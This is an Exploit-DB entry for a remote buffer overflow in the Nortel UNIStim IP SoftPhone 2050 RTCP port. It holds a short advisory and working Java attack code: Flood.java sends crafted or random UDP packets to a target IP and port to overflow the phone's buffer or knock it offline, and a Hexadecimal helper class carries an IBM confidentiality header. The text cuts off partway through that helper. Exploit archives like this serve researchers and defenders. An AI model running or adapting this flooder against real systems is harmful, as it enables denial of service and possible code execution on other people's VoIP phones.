Exploit-DB #30678
Description: Nortel Networks UNIStim IP SoftPhone 2050 - RTCP Port Buffer Overflow
Type: remote
Platform: multiple
Date: 2007-10-18
Author: Cyrill Brunschwiler

Exploit:
source: https://www.securityfocus.com/bid/26118/info

Nortel Networks UNIStim IP Softphone is prone to a buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

Flood.java
/**
 * June, 2007 - Cyrill Brunschwiler - COMPASS SECURITY AG
 *
 * No warranty, all rights reserved.
 */
 
package ch.csnc.udpollution;

import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetSocketAddress;
import java.util.Random;

public class Flood {
	
	private static DatagramSocket m_socket = null;
	private static InetSocketAddress m_address = null;
	private static long m_start;
	private static int m_default = -1;
	private static Random m_rand = new Random();
	
	
	/**
	 * @param args
	 */
	public static void main(String[] args) {
		
		try {
			m_address = new InetSocketAddress(args[0], 
Integer.parseInt(args[1]));
			m_socket = new 
DatagramSocket(Integer.parseInt(args[2]));
			
			String packetType = args[3]; 
			long count = Integer.parseInt(args[4]);
			int maxlen = m_default;
			
			try {
				maxlen = Integer.parseInt(args[5]);
			} catch (RuntimeException e) {			
			}
			
			System.out.println("Target: " + 
m_address.getAddress().getHostAddress() +":" + m_address.getPort());
			System.out.println("Packet: " + packetType);
			System.out.print("\nflooding.");
			m_start = System.currentTimeMillis();
			byte[] data;
			
			if ("resume".equals(packetType)) {
				
				String resume = "FFFFFFFF" + "0202" + 
"FFFFFFFF";
				byte [] overlay = 
Hexadecimal.parseSeq(resume);
							
				for (int i=1; i<=count; i++) {
					
					if (maxlen == -1) {
						data =  
Hexadecimal.parseSeq(resume + "9e0308");
					}
					else {
						data = new 
byte[m_rand.nextInt(maxlen) + 10];
						m_rand.nextBytes(data);
						
						
						for (int j=0; 
j<overlay.length;j++) {
							data[j] = 
overlay[j];
						}						
					}
					
					sendData(data);
					
					if (count > 20 && i % (count/20) 
== 0)
						System.out.print(".");
				}
			}
			if ("garbage".equals(packetType)) {
				
				for (int i=1; i<=count; i++) {
					data = new 
byte[m_rand.nextInt(maxlen)];
					m_rand.nextBytes(data);
					sendData(data);
					
					if (count > 20 && i % (count/20) 
== 0)
						System.out.print(".");
				}
			}
			
			long time = (System.currentTimeMillis() - 
m_start)/1000;
			long avg = count;
			
			if (time > 0)
				avg = count/time;
			
			System.out.println(" done in " + time + "s; avg. 
" +avg+ " packets/s");
			
		} catch (Exception e) {
			System.out.println("\nusage: java 
ch.csnc.udpollution.Flood destIP destPort sourcePort packetType 
packetAmount [packetLength]");
			System.out.println("       java 
ch.csnc.udpollution.Flood 1.2.3.4 5678 9012 garbage 4000 30\n");
			
			e.printStackTrace();
		}
	}
	
	private static void sendData(byte [] data) throws IOException {
		
		int len = data.length;
		
		DatagramPacket packet = new DatagramPacket(new 
byte[len], len);
		packet.setAddress(m_address.getAddress());
		packet.setPort(m_address.getPort());
		packet.setData(data);
		packet.setLength(len);
		m_socket.send(packet);
	}
}

Hexadecimal.java
package ch.csnc.udpollution;

import java.util.StringTokenizer;

/*
 * @(#)Hexadecimal.java
 * 
 * IBM Confidential-Restricted
 * 
 * OCO Source Materials
 * 
 * 03L7246 (c) Copyright IBM Corp. 1996, 1998
 * 
 * The source code for this program is not published or otherwise
 * divested of its trade secrets, irrespective of what has been
 * deposited with the U.S. Copyright Office.
 */

/**
 * The <tt>Hexadecimal</tt> class
 * 
 * @version     1.00    $Date: 2001/07/28 06:33:13 $
 * @author      ONO Kouichi
 */

public class Hexadecimal {
	private String _hex = null;
	private int _num = 0;

	/**
	 * Constructs a hexadecimal number with a byte.
	 * @param num a byte
	 */
	public Hexadecimal(byte num) {
		_hex = valueOf(num);
		_num = (int)num;
	}
	/**
	 * Constructs a hexadecimal number with a integer.
	 * @param num a integer
	 */
	public Hexadecimal(int num) {
		_hex = valueOf(num);
		_num = (int)num;
	}
	/**
	 * Constructs a hexadecimal number with a short integer.
	 * @param num a short integer
	 */
	public Hexadecimal(short num) {
		_hex = valueOf(num);
		_num = (int)num;
	}
	/**
	 * Gets a byte value.
	 * @return a byte of the hexadecimal number
	 */
	public byte byteValue() throws NumberFormatException {
		if (_num > 255 || _num < 0) {
			throw new NumberFormatException("Out of range 
for byte.");
		} 
		return (byte)_num;
	}
	// -   /**
	// -    * Constructs a hexadecimal number with a long integer.
	// -    * @param num a long integer
	// -    */
	// -   public Hexadecimal(long num) {
	// -     _hex = valueOf(num);
	// -     _num = (int)num;
	// -   }

	/**
	 * Gets a string in hexadecimal notation.
	 * @return string in hexadecimal notation of the number
	 */
	public String hexadecimalValue() {
		return _hex;
	}
	/**
	 * Gets a integer value.
	 * @return a integer of the hexadecimal number
	 */
	public int intValue() throws NumberFormatException {
		if (_num >[PII_REDACTED]L || _num < 0) {
			throw new NumberFormatException("Out of range 
for integer.");
		} 
		return (int)_num;
	}
	public static void main(String[] args) {
		StringBuffer buff = new StringBuffer();

		for (int i = 0; i < args.length; i++) {
			buff.append(args[i]);
		} 
		try {
			byte[] seq = parseSeq(buff.toString());

			for (int i = 0; i < seq.length; i++) {
				System.out.print(seq[i] + " ");
			} 
			System.out.println("");
		} catch (NumberF